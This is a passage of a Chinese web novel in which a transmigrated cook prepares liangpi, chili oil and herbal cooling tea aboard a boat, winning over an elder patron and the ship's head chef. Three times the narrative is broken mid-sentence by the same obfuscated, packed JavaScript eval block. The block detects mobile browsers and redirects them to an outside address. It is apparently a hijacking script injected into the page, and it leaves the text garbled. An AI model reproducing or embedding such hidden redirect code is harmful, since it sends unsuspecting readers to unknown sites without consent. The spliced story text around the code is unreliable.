温老想到中午那碗让人念念不忘的盖浇面，也是忍不住意动，但最后还是把这股冲动压了下去。 “罢了罢了，我一个快入土的老货，还是不要耽误人家小姑娘的前途了。她凌云之志，绝不甘居于一屋一宅中蹉跎岁月，咱们别弄巧成拙，施恩不成反结仇。” 见主人下定了决定，老管家便顺着口风玩笑道：“那老爷可要趁着这段路途多吃几顿了。” * “你有什么打算？” 饭桌被清理出来，简单摆放了些纸笔充当了临时书桌，白景执笔在纸面上写写画画，一个个模糊的字句凌乱地分布其上，构成除了她没人能看懂的计划书。 听得白母此言，她疑惑地看回去：之前不是已经说好了吗？ 白母在她对面坐下，眼中含着忧虑之色：“你父亲南州那小学徒，以前逢年过节都会托人送些特产节礼过来，但这一年多却连个消息都没有，我担心……” 白景放下笔，安抚道：“我们去南州一来是为了避开伯父他们家的谋算，二来也是到那边去打听石青的消息。能有熟人投奔自然便利，没有人照样也能落脚。” 话虽如此，但人生地不熟的，他们主仆三人老的老小的小弱的弱，总归没那么舒坦。 白景也知道这个道理，不过现在忧心也没什么用，只会徒增烦恼，不如先把眼前的事顾好。 安抚完忧心的白母，白景用意识打开闪烁许久的系统，上面依旧挂着【等待激活】的标识，不过颜色却比之前淡了些。 “这是要等它消失就能激活？”白景低声喃喃。转念又开始想是什么引出的结果，昨天看的时候还没变化。 美食系统……美食…… 难道？！ 白景心中泛起一个猜测，只等晚上再验证一次。 因今日的午饭耽搁了不少时间，下午的时光就显得格外短，一壶酸梅汤还没见底，就到了该准备晚膳的时间。 白景收拾收拾，换了件窄袖上衣，下身也换成更利落的过膝短裙，围裙一系就能将衣裙挡在下面。 她到厨房的时候，里面早早就有人翘首以盼，刚走进去，上午带路的小学徒和选中的两位帮厨就迎了上来。 “白小姐，您来了，快坐下歇歇。这是刚冰镇过的甜汤，您喝几口解解渴。” 白景只礼节性地抿了一口就放下了。 “劳烦，给我来两斤面。” 小学徒立刻抓住机会上前：“白小姐，我给你揉面。” 这不是什么非我不可的技术活儿，白景点点头，转身去调揉面的淡盐水。 与白景这种半路出家的不同，传统饮食界严格区分了红白案，正巧这小学徒就是跟了个白案师傅，一手揉面的功夫不说登峰造极，揉个做凉皮的面团不成问题。 “水要分多次加入，先用筷子搅和成絮状。”白景在一旁慢条斯理地说着注意事项，边上小学徒一边仔细记下一边卖力干活，更远些的帮厨们也竖起耳朵细细记下。 揉面的过程不必多言，也没出什么意外。 白景捏了捏面团，道：“可以了。去倒盆水，把面团放进去，醒面两刻钟。” 放水里醒面？ 这简直闻所未闻。 不过小学徒也没犹豫，老老实实地按照她的吩咐行动，其他人虽然也是疑惑满满，但也只是自己在心里嘀咕，没人当面质疑。 所以当嘲讽声响起的时候就显得格外突出了。 “哼，哪来的野路子，连发面都不会就敢上白案。” 众人听到这声音，脸色齐齐一变，忙转身行礼。 “赵师傅。” 一时间，除了最开始就被分配给白景的两个帮厨和那小学徒，其他人都转而围着那赵师傅奉承，本还略显拥挤的角落顿时空荡荡的。 白景看了留下来的三人一眼，道：“想过去就去吧，我这边一个人也忙得过来。” 得到允许，那个早就频频扭头的帮厨连假意推拒都顾不上，道了声谢就往人群挤。 白景看向留下来的两人，再次确认道：“你们真的不过去？我不过是顺路搭船的路人，赵大厨才是正经管着你们的大师傅。” 小学徒道：“我做学徒快十年了，这还是头回摸到灶台的边，我不走。” “那你呢？”白景问那留下的帮厨。 帮厨摸着后脑勺，疑惑道：“老太爷指了我给白小姐打下手，晚膳还没做好，我为什么要走？” 白景便不在多言，趁着醒面的时间又挑了些蔬果洗净切成丝，放在盘中备用。 凉皮要做的好吃，除了面皮要劲道Q弹，撕不烂摔不烂，最重要的就是调味的料汁了。 好的料汁是锦上添花，更是画龙点睛，而味道不行的料汁，却会完全破坏凉皮本身的味道。 白景手上动作飞快，在排成一溜的调味盒面前几乎显出残影，旁人只看到她脚步移动，手腕来回，碗底就积了小半碗的调料，最后再倒入一勺烧冒烟的热油。 “呲！” 最上头的芝麻葱蒜等物被热油一激，释放出浓烈的香气。这香味繁复又霸道，引得旁边不屑一顾的赵师傅都往这边瞥了一眼。 白景却顾不上他，自顾在心中掐算着时间，醒面时间一到就端了盆清水，将面团转移过来。 拒绝想上手帮忙的小学徒，她轻柔地在水盆中揉搓面团。 一边洗面一边轻声说：“这一步要注意一个‘轻’字，力道太大就会把面揉散，余下的面筋就不成形了。” 小学徒和帮厨知道她这是有意指点，连连点头认真记下。 这可都是大厨们密不外传的小技巧，也正是这些小要点决定了一道菜品的好坏成败。 白景当初也是从网上学来的，后世知识获取的难度低，她也没什么要藏私的意识，看两人顺眼，随口就教了。 边说边教，换了两盆水，才算是洗干净了，接下来就是等待静置沉淀的时间了。 白景指挥着两人把两盆水倒进一个大盆里放到一旁，自己又打了盆清水把面筋再次清洗一遍，直到不见丝毫浑浊，就开始起锅上蒸笼。 旁边的赵师傅看似在自顾自忙活，其实眼角余光一直注意着对面，见白景一通忙活，最后鼓捣出又一种没见过的东西，不由得多分了一份心神注意着。 * 白景蒸好面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763926|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筋，又切成小块拿调好的料汁拌了。 凉拌面筋。 说起来，这也能算是单独的一道吃食。 她往系统面板上一看，发现激活的进度果然又推进了一点。 白景用筷子夹了一块面筋品尝，挡住忍不住上翘的嘴角——她的猜测是对的。 * 刚蒸好小半的凉皮，温老就迈步走了进来，远远地就喊道： “景娘，你说的新鲜吃食做好了没？” 白景又往铁箩箩倒了一勺面糊，摊匀了放入锅中，头也不会地扬声答道：“温老来啦，您先坐一坐，我这锅出来就给您整一碗。” 摊得薄薄的面糊熟得很快，几乎说话间，就起了鼓包，白景轻巧地用筷子提出水面，在凉水盆里一转，略降了降温就熟门熟路地揭下面皮。 “您吃不吃香菜？” 温老：“吃的。” “好嘞。” 白景手脚麻利地把凉皮切成条，往碗中加了料汁，又单独拿小碟子装了面筋，就捧到温老面前。 “您的凉皮，请慢用。” 温老看向面前摆放的这碗新鲜吃食，指头宽的面晶莹剔透，挑起一根还能透出筷子的颜色，面皮上裹着一层金色的亮油，缀着浅褐的酱汁，间或还带着翠绿的葱花香菜，仅仅是看着就让人食欲大增。 作为一名老饕，温老只是略一思考就熟练地开始拌面，等每一寸凉皮都裹上料汁，他就迫不及待地夹了满满一筷子塞进嘴里。 第一口感觉到的是料汁浓郁的香味，然后就是凉皮爽口嫩滑的口感，咬下去微微弹牙。形容起来与中午的拉面相似，但吃起来却是完全不同的味道。 温老连吃几口，不大的碗中顿时下去一半。此时他停下筷子，眉头浅浅皱起，挑起一根细细品尝，咂摸一会儿，又挑起一根尝了尝，眉头还是没松开。 跟随多年的老管家知道，这是有点不对味儿了。 他看向一旁的白景，果然，温老就开口了：“差了点味儿。” 白景从他开始慢下来就注意到了，细细回忆哪一步做的没到位。 “差了点味儿？” 温老：“差了点，但差了什么味，我也不好说。”毕竟之前也没吃到过这凉皮。 就在白景努力思考的时候，边上的赵师傅开口了。 “老大人，这浓油赤酱的，刺激太大，不利于您的身体啊。” 刺激太大？！ 白景恍然大悟。 刺激！ 她马上转身去回后厨，就着火又调了小半碗料汁，却不是之前浓郁霸道的香，而是刺激的呛人。 没过一会儿，白景端着一碗微红的调料出来，用小匙舀了半匙在凉皮上。 “您再尝尝。” 温老拌匀了再吃，一口下去拍案大喜：“就是这个味！我喜欢！” “再给我来一碗。这小小一碗，喂猫儿呢。” 白景笑着应下。 这一碗是用茱萸姜蒜调出的替代版辣椒。 吃拌面怎么能少了辣！ 白景趁着这机会提出了拌面的好伙伴——油泼辣子。 “油泼辣子？” “对，我给您多做几罐子，这东西经得住放。” 温老没有犹豫，直接大手一挥吩咐下去：“明天船要靠岸，你跟着他们下去买。” “老大人！”赵师傅急忙上前，“大人说了，您……” 他话还没说完，就被温老不耐烦地打断了，“这也不能吃，那也不能吃，人活着跟死了有什么区别！” “别说了，就这么决定了。”又对老管家说，“回头你派个人跟着，别让不长眼的冲撞了。” 见事情已成定局，赵师傅狠狠瞪了白景一眼，无奈退去。 而此时白景满心满眼的油泼辣子，完全没注意他的不忿。 5. 油泼辣子（一） 温老吃完两碗凉皮，还让老管家带走一碗，在别人劝阻的时候，还振振有词地说，这是宵夜。 他是主家，其他人只能劝说几句，铁了心要做什么事，是拦不住的。 白景只能叮嘱他多喝几口薄荷饮山楂汤之类的解火消食。 送走温老之后，她又给老管家另外留了一份凉皮，剩下的这些食材就能自行处理了。 “等明儿买了辣椒，能做的就多了。”白景洗完手把剩下的面糊都做成凉皮，厚厚地垒了一盘子，估摸着有五斤左右。 这个分量，他们三人再加上白母福伯也吃不完，这天气过了夜，也就没法吃了。 白景取了二人份的，切了备好料装在碗里，让小学徒给白母二人送去。 至于这剩下的，除去他们三人吃的部分，其他的……白景把目光转向对面的赵师傅。 * 赵师傅被突然钻到鼻子下的浓烈香气冲得退后一步，克制住打喷嚏的冲动，才转眼去看面前的人。 “赵师傅，来碗凉皮吧。”年级不大的小姑娘捧着大瓷碗笑意盈盈的，很难让人升起恶感。 不过…… “不必。”赵师傅冷淡地拒绝。 白景像是没察觉到他的态度一般，站在原地不动，连笑容没淡去分毫，继续道：“我从前没做过这个分量的凉皮，没估量好数量，多出这许多来。可不得拜托您帮我想想办法。” 赵师傅暗暗吸气分辨其中调味，面上还是无动于衷：“多出的自行处理便是，船上这许多人，总有办法消耗，不必找我。” 白景道：“哎呀，被您看出来啦。”她抓了抓脸，似有些不好意思，“本还想着让您指点一二，看得了我父亲几分真传，不成想这点小算计都被您看在眼里。” 赵师傅终于有了反应：“你这调料功夫是白大师傅教你的？” 白景面不改色地答道：“是啊，小时候身体不好，基础功夫没怎么练，倒是生了条灵敏的舌头，没少在后厨鼓捣各色调味。” 以上全是胡扯，她调料的本事是前世讨生活时一点点磨出来的。 白父“一菜百味”的名声在京都厨师界广为流传，在这一行混的，就算没见过本人，也必定听过这名头。 听她这样说，赵师傅一下子来了兴致。 “那便尝尝吧。” 这碗凉皮在两人之间一递一接，白景在后厨中无形的隔膜就消失了大半。 赵师傅端了凉皮坐到一旁细细品尝。 与温老注重食物整体的味道不同，他更关注包裹凉皮的料汁与各色配菜。 只有入了行才知道，用来搭配的配菜也是有讲究的，这种细微之处的小心思也是判断一名厨师专不专业、水准如何的标准之一。 鲜、香、麻，层层递进的香味，复杂却又巧妙融合，互相掩盖遮住了微涩的本味，反倒更凸显出香浓爽口的滋味。 赵师傅没尝过白父做的菜，但单单这调味的功力，至少不输于他了。 心中不由得涌出复杂的情绪，有对厨师界后继有人的欣慰，也有对长江后浪推前浪的感慨，还夹杂着丝丝微妙的嫉妒。 ——对她的能力，对她的天赋，对她从小耳濡目染的优越环境。 “刚才那油碟呢，也一并拿来尝尝。” 但白景却犹豫了一下。 从她这几天的观察来看，赵师傅应当是擅长南州菜，恐怕不太适应这辣味。 不过她也只是这么想想，到底还是端来了那碟“辣椒油”。 “味道有些重，别冲着您。”白景提醒道。 赵师傅小心地舀起辣油，分量少得堪堪铺满小匙的底。 白景：……嗯，这口味，果然很南州。 赵师傅将辣油细细搅拌均匀，挑起一根凉皮送入口中，微眯起眼细细咀嚼。 茱萸葱蒜制出的辣味并不大，只是添了些香味，舌尖的微辣反倒让料汁的味道更加生动，堪称锦上添花的一笔。 赵师傅吃完撂下碗就走。 他没有多说什么，但从他一口接一口吃到空盘的表现来看，这碗凉皮应该相当合他胃口。 仅仅是这种不排斥的态度，对白景在后厨中的处境就有很大缓和。 白景示意小学徒端走空碗，自己招呼众人一起来吃凉皮。方才还叫不动的人，现在纷纷说着客套话取用了一碗。 炎热的夏日，吃一碗冰冰凉凉爽口滑嫩的凉皮，可不就是一种享受？ 再配上绝佳的调料与配菜，谁能拒绝呢。 白景对面筋并不钟爱，只是做凉皮顺手做的下脚料，但部分人对它却格外喜欢。 “这个是什么？真有嚼劲，轻轻一咬，里面的料汁就挤出来，真带劲。” “我也喜欢，这绝对是凉皮最好的配菜！” “这面筋能吸水，不知放到浓汤里会是什么滋味？” 白景没有再看，自顾端了一碗到旁边，慢条斯理地解决晚饭，心里依旧念着明天的辣椒。 * 时间很快就到了第二天。 白景换了身略短的裙装，袖口也用束带绑了，早早就在房间中等着靠岸。 她正想拿起一杯水缓和缓和焦躁急切的心情，就感觉到船身微微一震，水杯中泛起层层波澜。 白景立刻站起来，目露期待。 船，靠岸了。 “阿娘，我跟福伯出去一下，你在船上歇会儿。”白景照例叮嘱完，得到白母的回应后就带着福伯往外走。 刚走出几步，昨日那小学徒就拎着菜篮子迎上来了。 “白姑娘，小人给您拎包。” 送上来的劳动力，白景自没有拒绝的道理，便点头回礼：“劳烦。” 随着采购的大部队下了船，她身边又多了一个人高马大的壮汉，应当就是昨天温老吩咐的那名护卫。 白景目标明确地往卖辣椒的铺子而去。 从记忆中就得知这个世界调味品种类丰富又齐全，但真的看到与后世相当的各色调料时，白景还是忍不住暗暗惊叹一番。 她快速在各色张开一个小口的口袋中扫过，见看不出什么，就直接问：“掌柜的，有巴州的二荆条吗？还有岭州的小米辣。” 根据前世的经验，为了达到色香味俱全的效果，她通常会用三种辣椒混合调制油泼辣子。 二荆条调香，小米辣调味，新一代红调色。 再加上烧了热热的宽油，一碗香辣诱人色泽红亮的油泼辣子才算是做好了。 但新一代红是后世培养的新品种，这里估计没有，白景东挑西选，最后买了前世被称为“满天星”的一种辣椒。增 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763927|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色效果不如新一代红，但在辣椒中也是名列前茅的。 “每种给我来十斤。” 老板拿着称的手一顿，确认道：“每种十斤？” 白景：“对，每种十斤，不是总共十斤。你尽管称，绝不退货。” 三十斤干辣椒好大一包，白景还多付了些钱，请店家加工成三种粗细不同的辣椒面。 “二荆条碎成粗面，辣椒籽要尽量完整；小米椒磨成中粉，把辣椒籽磨开但也别太碎；满天星磨成细粉，往细里磨，跟面粉似的最好。” 白景说完，连福伯都欲言又止，店家左看右看，好像是在找扫帚赶客的样子。 最后店家瞥了瞥她身后人高马大的护卫，还是没动手，却忍无可忍地讽道：“姑娘若是不想做这笔生意直说便是，何必到我这小门小户来作弄。小本生意，可经不起贵人的折腾。” 白景一听便知他误会了，忙解释清楚，确实是家中下厨佐料需要，又提前付了全款，才算让店家安心。 “三十斤数量大，我得去隔壁借石磨来磨。”店家道。 这里只是沿途的小城，靠近码头才算有了些热闹，出货量也并不算大，工具也没有大城那般齐全。 白景自是表示理解。 双方又约定好取货的时间，她就带着其他人去街上逛了一圈。 难得见到别处的风景，正好透透气，顺便观察观察物价和吃食情况。 * 奇怪得很，这里的调料与食材丰富程度接近前世，但食物的种类却少了许多，这让白景有一种挥之不去的错位感。 连石头都能往锅里放的美食国度，竟然放着这么多的食材不多做尝试。 ‘我不会穿进小说里了吧，这些空缺是作者特意设置起来等主角补充的。\'' 白景这样想着，自己倒先被逗笑了。这世界真实得很，更何况，就算真的是小说世界，与她又有什么关系呢。 慢条斯理地吃完手中的野菜饼，她拿出手帕慢慢擦去手上的油渍。 外酥里软，野菜鲜嫩，麦香浓郁，还带着丝丝鸡蛋的香，不管是调的味道还是烙饼的手艺都相当不错。 ‘回程时再去买几个。’ 临时停靠的这座城并不大，只是有了个码头，来往船只带动，倒也能称得上一句繁华，但商业街就一条，走走停停大半个时辰也到头了。 “回吧。”白景在最后一个摊子上买了两个香囊，转身朝来的方向走去。 回到调料铺子的时候，老板还没回来，一行人略等了等，就看到拎着三大包辣椒面回来的店家。 “辛苦了。”白景示意身后几人把辣椒接过来，自己与店家又客套几句。 白景带着几人正准备回去，突然想起一件事。 她转头问小学徒：“船上素油还够用吗？” 小学徒也是个机灵的，一听她的话就明白了，忙答道：“赵师傅常在素菜里放荤油，素油用的不多，倒是还剩不少。” 于是白景又转道去买了几斤猪板油。 油泼辣子要用素油，但也要加一些荤油，不需要太多，五比一左右就差不多了，再多就会凝固，影响卖相。 这样做出来的油泼辣子，香味浓郁持久颜色鲜亮，密封大半年开出来还是跟刚做的差不多，正适合给温老带走吃。 6. 油泼辣子（二） 白景刚带着人走上船板，温老就闻着味溜达过来了。 他往盖得严严实实的菜篮子一探，鼻子轻轻一吸，猪板油的腥燥味就直冲鼻尖，熏得他捂着鼻子直后退。 “这是什么东西？！不是说买辣子去了吗？” 白景上前扶住他，带着往旁边走了几步，转头示意手头的人去后厨，边给温老解释。 * 三种品种粗细各不同的辣椒面备好，猪油熬好，制作油泼辣子的过程就不难了，只需要注意点火候就是。 “这个油先用香料炸一遍，要是不喜欢太香的，这一步免了也没什么。”白景捞出炸得干干脆脆的香料放到空盘子里，顺口讲解道。 “油分三次浇，注意温度。太低了激不出香气，太高了会烧焦辣子。” “如果怕太辣，可以加点冰糖柔和口感。” 白景一边做一边讲解，那些容易出问题的小地方都被她着重说明，教授亲传弟子也不过如此了。 赵师傅站在不远处，目光复杂的看着她，心里不知在想些什么。 不过作为后厨中的老大，他只是站在这里没反对，本身就是一种态度。白景明显感觉到今天在厨房便利了许多，没有之前那种束手束脚的感觉。 * “今天吃什么？”温老在外间坐下，期待地问道。 知道要吃油泼辣子，但总不能抱着辣椒罐当饭吃。 “今天做油泼辣子废了不少时间，就蹭了赵师傅几碗面，多亏了他不介意，不然您到我这儿只能抱着辣椒罐啃了。”白景半是玩笑半是解释，没落下自己的活计，又把赵师傅的功劳点了出来。 温老眉毛一扬，哦了一声。 白景继续夸道：“赵师傅这做面的功夫可比我强多了，与今日这罐辣椒油正相配。” 她端上一碗汤面，清亮的汤水中窝着一个如满月般的荷包蛋，还有一棵翠绿的小青菜，刚好断生，味道鲜香，老少皆宜，正是南州备受欢迎的清汤面。 但温老在京中生活数十年，早就习惯了浓重的口味，这种清汤寡水的，瞬间让他想起了最近这段时间油腻又寡淡的味道，下意识把头往后仰了仰。 他的动作幅度很小，而且刚有动作就停止了，但一直注意着他的赵师傅已经看得一清二楚。 见自己制作出的食物受到这般嫌弃，他眼底闪过一丝郁色，面上却还是崩住了大师傅的面子，没变了脸色。 白景见此忙打开辣椒罐子的盖，推到温老的手边，用言语把这一瞬的滞涩掩盖过去：“温老快尝尝我的油泼辣子，我就指着您这条金舌头给我提提建议呢。” 有人递了梯子，温老也顺着就转了话题。 他笑呵呵的，玩笑道：“那老夫可得好好品味，定给你挑几个毛病出来。” 说完他往那罐子里一看，只见罐中的辣椒油颜色鲜亮红润，白色的芝麻浅浅浮了一层，鼻尖轻嗅，诱人的香味裹着微微呛人的辣拼命往鼻子里钻。 还没开吃呢，嘴里的口水就泛滥了。 温老重重地吸了一口香气，敲敲碗沿，痛心疾首：“这小小一碗，够谁吃啊，快把第二碗备上，老夫等会儿还要再来一碗。” 说完也不等白景接话，就迫不及待地用勺子舀了满满一大勺辣椒油。 红亮的辣椒油落在面汤里，迅速将原本清澈的清汤面染上诱人的红色。 温老拿起筷子搅了两圈，想想还是不够过瘾，又拿勺子伸到罐子底舀了一勺辣椒出来。 两勺辣椒加进去，面碗里红彤彤一片，清汤面彻底变成了红油汤面。 赵师傅见此忍无可忍翻了个白眼，干脆扭过头眼不见为净。 温老却满意地点点头，放下勺子拿起筷子拌面，浓郁的香辣味在热气的烘托下逐渐蔓延。 “好香啊。”不知哪个角落传来压低的惊叹。 “咕咕咕。”是谁的肚子再叫。 温老呼噜噜扒拉下一大口面，脸上露出惊喜与享受之色。 与白景前两次的吃食相似，第一时间感受到的就是出色的调味，但出乎他意料的是，加了两大勺辣的面里第一口尝出来的竟然不是辣味，而是独属于油脂的那种香润风味。 然后就是香辣味，浓郁的香气伴着微麻的辣占据整个口腔，一瞬间仿佛连食道都被打开了。 着实开胃。 “这油泼辣子可称为一流！”温老又连吃几口才抽出心力夸道，“只这一道就能当家传菜撑起一间面馆了。” 面对这夸奖，她毫不客气地照当全收。 做厨师最开心的事，就是得到食客的认可。 温老连吃两碗，再又一次喊着上面的时候，连赵师傅也不愿意继续开火了。 “老爷，这食量已经是往日的一倍了，可不能再吃了。”老管家提起胆子按住他的手，一边示意众人把碗筷立刻撤下去。 温老手被按着，脖子伸得老长，恨不得张嘴把端走的面碗咬住，眼巴巴地看着香气越飘越远。 直到碗筷都被后厨的门帘挡住，他才收回视线。 抱着独馋馋不如众馋馋的念头，他开始向其他人安利辣椒油。 “这油泼辣子风味极佳，老夫匀出一小罐给大家尝尝。要和面拌在一起才最好吃。” 温老说完就起身离开，等走出门外嘴角却露出狡黠的笑，“等他们尝过一次之后，晚饭咱们就到这边来继续吃，让他们只能看着嘿嘿嘿。” 厨房里，没有了温老这个主家杵着，连空气都流畅许多，众人也比方才放松了些。 有这两天搭过话的人凑过来：“白姑娘，这油泼辣子什么面都能配，还是只有好面好手艺才能显出风味？” 这话一出，其他人耳朵都竖了起来。 他们可没有赵师傅那般好手艺，也就路边面摊的水平，要是只有好面才配，可就无福消受了。 白景没直接回答，只道：“面馆能放葱花，路边摊就不能放？” 这话里的意思就很明了了。 众人纷纷散开，钻进后厨各自开工，没一会儿就响起来乒铃乓啷的擀面煮面声。 外间只留下忙完的白景，和没离开的赵师傅两人，连一直恭候在旁的小学徒也很有眼力见儿的避进了后厨。 赵师傅没说话。 白景也不知道说什么。 一时间，这片空间在嘈杂声中显出异常的安静。 不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763928|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了多久，赵师傅微沉的声音缓缓响起：“你，很不错。” “啊？”白景茫然抬头。 刚刚走神想了会儿到南州的计划，没成想莫名得了句夸。 回过神来，白景恭维道：“当不得，不过是图个新鲜，您才是真功夫。” 赵师傅却缓缓摇头，语气沉重：“你的基本功一般，但却极有天赋，干这行的，要做到最顶端，就缺你这种寻摸‘新鲜’的天赋。我老了，再怎么拼，也就在原地打转。” 他看向对面还带着稚气的小姑娘，脸上蓦地显出几分暮气，如夕阳坠地前的几许余晖，虽耀眼却近黄昏。 白景不甚理解地眨眨眼，她从来不是受过正统教育的厨师，在她看来，做饭烧菜只是一种赚钱的途经，只是后来从中得了乐趣，才投入更多的专注。 没有多年苦练的基本功，就从另辟蹊径，主打氛围治愈。 所以她实在不明白赵师傅在难过什么，只是循着本心安慰道：“赵师傅应当是南州来的吧，似乎很擅长清淡的菜式。” 赵师傅没说话，但也没否认，自顾沉默着。 白景嘴角抿出一丝不好意思的弧度，委婉劝道：“作为厨师，能有一道菜做到无人能比，就能称为无敌的高手了。赵师傅清汤面做得这么鲜香，不必强行融合其他菜式。” 尤其是往浅淡的菜式里死命怼荤油这种事，不要再干了！ 原本突出食材本味的特点没了，只留下寡淡的味道和油腻厚重的反胃感。 赵师傅似是不解：“素菜荤炒，这是厨师界公认的技巧。” 白景嘴角抽了抽，在心中默默吐槽：再公认也不能适用每个人啊！ “您之前应当很少尝试这么做吧。”要一直这样，也干不到大师傅这水平。 赵师傅：“嗯，用得甚少。”其实几乎没用过。 本以为是一次突破，没想到…… 白景忍住扶额的冲动：“不要用自己的短处去碰别人的长处，没有厨师能擅长所有菜式。” 这句话说得相当直白了，就差直接指着他鼻子说他昏了头。 连白景自己说完都觉得交浅言深了。 ——见鬼，我管他做什么，管得太宽了。 “抱歉，是晚辈失言，赵师傅见谅。”她曲膝一礼，向他致歉。 但赵师傅却恍恍惚惚的，只低声呢喃：“没有厨师能擅长所有菜式，没有厨师能擅长所有……我明白了！” 他眼神一凛，醒过神来。 “白姑娘，多谢。”赵师傅抱拳弯腰一礼。 白景急忙侧身避开，伸手扶住他，口中直到：“不敢当不敢当，不过是随口胡言，前辈不计较便好。” “是前辈多年积累，正到了要悟透的时候，恭喜恭喜。” 赵师傅见她不受礼，也没再多言，只暗暗把这人情记下，想着什么时候帮一把。 经过这么一遭，两人之间原本有点别苗头的架势也自然而然地消散了，白景热情地招呼他：“不知有没有荣幸，能吃到前辈亲手调制的汤面？” 赵师傅拿起一旁的围裙重新围上，笑道：“想吃什么面？这些年在京中，别的不行，面食却是做的不错。” 7. 上火喝凉茶 赵师傅想开之后，终于展现出大师傅应有的水准，连带着白景都跟着享了不少口福。 不过对于偏爱辣口的人来说，每日几勺辣椒油还是少不了，比如温老，比如白景。 但大热天这么死命吃辣椒，后果很快就显现出来了。 白景龇牙咧嘴地走出恭房，心里已经开始琢磨怎么下火了。 “赵师傅，今天做几个凉菜呗。” 一听这话，赵师傅就明白了：“上火了？” 白景苦着脸点头。 “估计温老那边也差不多。” 赵师傅盖上锅盖，转身招呼小学徒给她削了根黄瓜。 “这几天就吃点清淡的，先清清肠胃。” 白景啃着黄瓜无奈点头，又道：“那这几天我给您打下手，您别嫌我笨手笨脚耽误事儿。” 这话说起来有偷师的嫌疑，但两人的关系自从上次之后就突飞猛进，颇有些忘年交的架势，自然不会在意这点小事。 听她这么说，赵师傅一口就应下了，还说得了空烧几壶凉茶。 “还是您想得周到。”白景没想到还有这意外之喜。 她对凉茶的概念，就是前世超市随处可见的某罐装饮料，还有就是小时候外婆煮的苦丁茶金银花茶之类的。 甜中带着轻微苦味的饮料。 所以当晚膳后小厮送来一壶装着微黄汤液，称这是赵师傅熬制的凉茶时，白景丝毫没防备，直接倒了满满一杯，一口干了。 然后…… “咳咳咳。” 凉茶顺着食道滑落，但猛烈浓郁的苦味却留在了口腔中，苦得她整张脸都皱成一团。 她吨吨吨干下去三碗凉水才勉强把苦味清除一些，但依旧有顽固的苦涩残留，苦得她舌头都快失去了知觉。 “这是什么东西？！”白景惊恐地指着那碗‘生化武器’。 她竟然在一碗凉茶里吃到了中药店的味道！ 这合理吗？！ 河里吗！ 转头去看，却发现白母正淡定地小口小口喝着汤液，对她这么大反应疑惑道：“凉茶啊。”见她面露排斥，又劝道，“良药苦口利于病，这凉茶用的可都是好药材，你多喝点。” 白景：……不了不了。 从小到大最怕的就是吃苦药，她连包装好的药丸都有捏着鼻子囫囵吞，这种与中药液没有什么区别的可怕东西，她躲都来不及。 “不用了不用了，你喝吧，我喝水就行。”白景连连摆手，端起水壶又倒了杯凉白开。 * 傍晚，白景刚走到厨房附近，就看到坐在外间的温老。他正端着杯子皱着眉头一小口一小口的啜饮，看那微黄的色调，应该也是在喝凉茶。 她一靠近，就被眼尖的温老看到了，他状似无意地问道：“喝了几杯啦？” 白景苦着脸在他对面坐下，鼻尖似乎又萦绕着苦涩的味道。 “没防备，一口干。”她又回忆起那可怕的苦味，恍若灵魂出窍，“差点没把胆汁呕出来。” 温老一听比他还惨，这苦苦的凉茶都变得好喝了，“哎呀呀，良药苦口嘛，再喝两天就差不多了。看老夫，面不改色，连喝三杯。” 作为试吃员兼饭搭子，白景这些天跟他可熟稔不少，说起话来互相怼几句都是常有的。 此时被暗搓搓嘲笑了也不客气，张口就回道：“那您就继续喝这苦口的良药吧，晚辈就不奉陪了。” 这话的意思…… 温老对吃食的敏感雷达立刻启动。 “你又有什么新主意？” 白景这回却没直接说，只道：“第一次上手，不知道能不能成。” 说到凉茶，她第一时间想到的就是前世那个爆款饮料，至少在她生活的城市，遍布每一个大小超市，是家家户户必备的饮品。 配方她知道是知道，但对于这不管是过程还是成品都算不上赏心悦目的饮品，她也只是记下了配方，并没有亲自上手做过。 * “不苦的凉茶？” 赵师傅本来还躺在摇椅上休息，听到白景的消息也溜溜达达地过来围观。 白景正在清点所需的中药，旁边还有个胡子花白的老人袖手站着，此人正是温老的随行医师。 他往白景理出来的药材上一看，心里就有数了。 ——本以为只是这小女娃瞎搞，没想到还真有点本事。 岗梅、淡竹叶、五指柑可清心火解热毒，却不是常用的下火药。 又往旁边看，入目的是山芝麻、布渣叶、金沙藤等五味药材，都有除肠胃之火的功效，但分量却少了许多，应当是作为配料。 不过另两味药却让他不能轻易下结论了，便问道： “这金钱草、火炭母又是何解？” 白景被他问得一懵，这她哪儿知道啊，她是厨师又不是医师，只是按照配方煮而已。 但这时候能说不知道吗？ 当然不能。 白景就把前世配方上的话背出来了：“冰血去淤，疏肝和胃。” 至于原理，别问，问就是量子力学。 老医师恍然大悟，激动得手舞足蹈：“原是如此！原是如此！竟能想到这般妙用！研制出这方子的人一定是个天才！” 